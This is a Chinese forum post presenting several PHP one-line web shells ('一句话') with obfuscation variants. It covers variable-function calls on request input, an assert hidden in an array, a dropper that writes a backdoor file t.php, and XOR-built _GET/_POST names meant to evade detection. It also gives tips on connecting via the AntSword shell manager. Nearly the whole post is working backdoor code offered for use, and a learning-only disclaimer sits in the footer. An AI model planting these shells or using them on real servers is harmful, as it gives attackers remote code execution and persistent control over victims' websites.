搜索
查看: 688|回复: 0

一句话变形计

[复制链接]

273

主题

389

帖子

858

积分

vip用户

Rank: 6Rank: 6

积分
858

注册会员活跃会员热心会员

QQ
发表于 5 天前 来自手机 | 显示全部楼层 |阅读模式
常见一句话

<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>


eval是一个语言构造器而不是一个函数,不能被可变函数调用
<?php 
$POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);
?>

AntSword 连接的问题。 php assert 会把传入的字符串的引号进行一次实体编码,导致执行代码失败。这时候只需要把编码器换成 base64 或者 chr 这种没有引号的编码器就可以了
<?php
 if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");@fclose($_);}
?>

PHP中字符异或后还是字符,我们只需要找到两个字符,他们的异或结果是我们所需要的字母即可
http://127.0.0.1/b.php?0=assert密码为1
<?php 
@$_++;  //得到1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");  //得到_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");  //得到_POST
${$__}[!$_](${$___}[$_]);  
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
我知道了
快速回复 返回顶部 返回列表